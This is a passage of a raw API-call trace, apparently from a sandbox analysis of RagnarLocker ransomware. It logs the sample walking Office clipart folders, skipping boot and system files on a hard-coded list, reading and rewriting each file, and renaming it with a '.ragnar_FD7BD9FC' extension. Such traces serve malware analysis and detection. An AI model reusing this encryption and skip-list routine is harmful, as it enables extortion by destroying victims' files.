lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.475] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.475] GetProcessHeap () returned 0x580000 [0080.475] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.475] CloseHandle (hObject=0xf4) returned 1 [0080.475] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" [0080.475] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.ragnar_FD7BD9FC" [0080.476] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0080.476] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.476] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00392_.WMF" | out: lpString1="BL00392_.WMF") returned="BL00392_.WMF" [0080.476] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned=".WMF" [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="autorun.inf") returned 1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="boot.ini") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="bootfont.bin") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="bootsect.bak") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="bootmgr") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="bootmgr.efi") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="desktop.ini") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="iconcache.db") returned -1 [0080.476] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="ntldr") returned -1 [0080.477] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="ntuser.dat") returned -1 [0080.477] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.477] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="ntuser.ini") returned -1 [0080.477] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="thumbs.db") returned -1 [0080.477] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.477] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.477] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.477] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.477] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.477] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.477] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0080.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.477] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27050) returned 1 [0080.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x69a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.477] GetProcessHeap () returned 0x580000 [0080.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.477] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.479] VirtualAlloc (lpAddress=0x0, dwSize=0x69aa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.479] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x69aa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x69aa, lpOverlapped=0x0) returned 1 [0080.480] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.480] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x69aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.480] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x69aa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x69aa, lpOverlapped=0x0) returned 1 [0080.480] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x69aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.480] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x69aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.481] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.481] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.481] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.481] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.481] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.481] GetProcessHeap () returned 0x580000 [0080.481] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.481] CloseHandle (hObject=0xf4) returned 1 [0080.481] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" [0080.481] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.ragnar_FD7BD9FC" [0080.481] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.482] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0080.482] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.482] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00524_.WMF" | out: lpString1="BL00524_.WMF") returned="BL00524_.WMF" [0080.482] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned=".WMF" [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="autorun.inf") returned 1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="boot.ini") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="bootfont.bin") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="bootsect.bak") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="bootmgr") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="bootmgr.efi") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="desktop.ini") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="iconcache.db") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="ntldr") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="ntuser.dat") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="ntuser.ini") returned -1 [0080.482] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="thumbs.db") returned -1 [0080.482] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.482] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.482] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.482] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.483] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.483] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.483] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0080.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.483] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6996) returned 1 [0080.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.483] GetProcessHeap () returned 0x580000 [0080.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.483] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.485] VirtualAlloc (lpAddress=0x0, dwSize=0x1b54, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.485] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b54, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b54, lpOverlapped=0x0) returned 1 [0080.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.487] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b54, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.487] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b54, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b54, lpOverlapped=0x0) returned 1 [0080.487] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.487] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.487] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.487] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.487] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.487] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.487] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.488] GetProcessHeap () returned 0x580000 [0080.488] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.488] CloseHandle (hObject=0xf4) returned 1 [0080.488] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" [0080.488] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.ragnar_FD7BD9FC" [0080.488] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0080.488] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.488] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00525_.WMF" | out: lpString1="BL00525_.WMF") returned="BL00525_.WMF" [0080.488] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned=".WMF" [0080.488] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.488] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="autorun.inf") returned 1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="boot.ini") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="bootfont.bin") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="bootsect.bak") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="bootmgr") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="bootmgr.efi") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="desktop.ini") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="iconcache.db") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="ntldr") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="ntuser.dat") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="ntuser.ini") returned -1 [0080.489] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="thumbs.db") returned -1 [0080.489] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.489] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.489] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.489] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.489] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.489] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.489] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0080.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.489] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9590) returned 1 [0080.490] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x256d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.490] GetProcessHeap () returned 0x580000 [0080.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.490] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.491] VirtualAlloc (lpAddress=0x0, dwSize=0x2576, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.491] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2576, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2576, lpOverlapped=0x0) returned 1 [0080.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.492] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2576, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.492] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2576, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2576, lpOverlapped=0x0) returned 1 [0080.493] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2576, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.493] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2576, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.493] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.493] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.493] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.493] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.493] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.493] GetProcessHeap () returned 0x580000 [0080.493] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.493] CloseHandle (hObject=0xf4) returned 1 [0080.493] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 